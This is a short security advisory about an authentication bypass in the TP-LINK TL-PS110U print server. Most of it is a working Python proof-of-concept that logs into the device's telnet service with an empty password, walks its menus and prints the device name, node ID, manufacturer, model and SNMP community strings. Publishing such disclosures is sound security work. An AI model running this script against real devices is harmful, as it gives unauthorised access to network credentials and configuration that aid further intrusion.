TP-LINK TL-PS110U Print Server Authentication Bypass

Description

TP-LINK TL-PS110U Print Server is prone to a security-bypass vulnerability. The Print Server device runs a telnet service which enables an attacker to access the configuration details without authentication. The PoC can extract device name, MAC address, manufacture name, Printer model, and SNMP Community Strings.

Impact

An attacker can exploit this vulnerability to bypass the access restrictions and obtain sensitive information which can aid in further attacks.

Proof of Concept

import telnetlib
import sys
host = sys.argv[1]
tn = telnetlib.Telnet(host)
tn.read_until("Password:")
tn.write("\r\n")
tn.read_until("choice")
tn.write("1\r\n")
tn.read_until("choice")
tn.write("1\r\n")
data = tn.read_until("choice")
for i in data.split("\r\n"):
    if "Device Name" in i:
        print i.strip()
    if "Node ID" in i:
        print i.strip()
tn.write("0\r\n")
tn.read_until("choice")
tn.write("2\r\n")
data = tn.read_until("choice")
for i in data.split("\r\n"):
    if "Manufacture:" in i:
        print i.strip()
    if "Model:" in i:
        print i.strip()
tn.write("0\r\n")
tn.read_until("choice")
tn.write("5\r\n")
data = tn.read_until("choice")
for i in data.split("\r\n"):
    if "Community" in i:
        print i.strip()

References